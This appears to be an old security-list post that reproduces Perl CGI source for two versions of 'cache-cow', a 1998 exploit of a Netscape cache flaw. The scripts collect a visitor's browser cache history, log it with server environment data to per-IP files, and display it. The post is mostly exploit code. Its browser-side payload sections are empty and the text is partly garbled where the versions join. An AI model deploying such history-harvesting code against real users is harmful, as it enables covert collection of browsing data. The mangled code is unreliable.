Below is source code for the two versions of the Netscape Cache exploit that was recently discovered by Dan Brumleve , as found on his web site at http://www.shout.net/~nothing/cache-cow/index.html First version , and then second version listed. -----snip----- #!/usr/bin/perl # # cache-cow.cgi -- Dan Brumleve , 1998.08.23 my $self = "http://www.shout.net/nothing/cache-cow.cgi"; if ($ENV{PATH_INFO}) { (my$o=<<" EOF")=~s/\n| //g;print"Content-type: text/html\n\n".$o; EOF } elsif ($ENV{CONTENT_LENGTH}) { my $input;read(STDIN,$input,$ENV{CONTENT_LENGTH});sub unescape{my $s =shift;$s=~tr/+/ /;$s=~s/%([0-9a-fA-F]{2})/pack("c",hex($1))/ge;$s;} sub extract{my($n,$v)=map{unescape($_)}split(/=/,shift);}my$history= join("\n",sort map{my($n,$v)=extract($_);$v=~s/^about://;$v||();}#=) split(/&/,{map{extract($_)}split(/&/,$input)}->{cache}))."\n"; open( FP,">> logs/log-$ENV{REMOTE_ADDR}.txt");for(sort keys %ENV){print FP $_."=".$ENV{$_}."\n"}print FP "\n".$history."\n";close(FP);print"C". "ontent-type: text/plain\n\nHere are the URLs retrieved from your ". "browser:\n\n$history"; } else { (my$url=<<" EOF")=~s/ |\n//g;print"Location: $url\n\n"; $self/>, 1998.09.26 my $self = "http://www.shout.net/nothing/cache-cow-4.06.cgi"; if ($ENV{QUERY_STRING}) { (my$o=<<" EOF")=~s/\n| //g;print"Content-type: text/html\n\n".$o;

EOF } elsif ($ENV{PATH_INFO}) { (my$o=<<" EOF")=~s/\n| //g;print"Content-type: text/html\n\n".$o; EOF } elsif ($ENV{CONTENT_LENGTH}) { my $input;read(STDIN,$input,$ENV{CONTENT_LENGTH});sub unescape{my $s =shift;$s=~tr/+/ /;$s=~s/%([0-9a-fA-F]{2})/pack("c",hex($1))/ge;$s;} sub extract{my($n,$v)=map{unescape($_)}split(/=/,shift);}my$history= join("\n",sort map{my($n,$v)=extract($_);$v=~s/^about://;$v||();}#=) split(/&/,{map{extract($_)}split(/&/,$input)}->{cache}))."\n"; open( FP,">> logs/log-$ENV{REMOTE_ADDR}.txt");for(sort keys %ENV){print FP $_."=".$ENV{$_}."\n"}print FP "\n".$history."\n";close(FP);print"C". "ontent-type: text/plain\n\nHere are the URLs retrieved from your ". "browser:\n\n$history"; } else { print"Content-type: text/html\n\n".<<" EOF"; EOF } exit 0; -----snip-----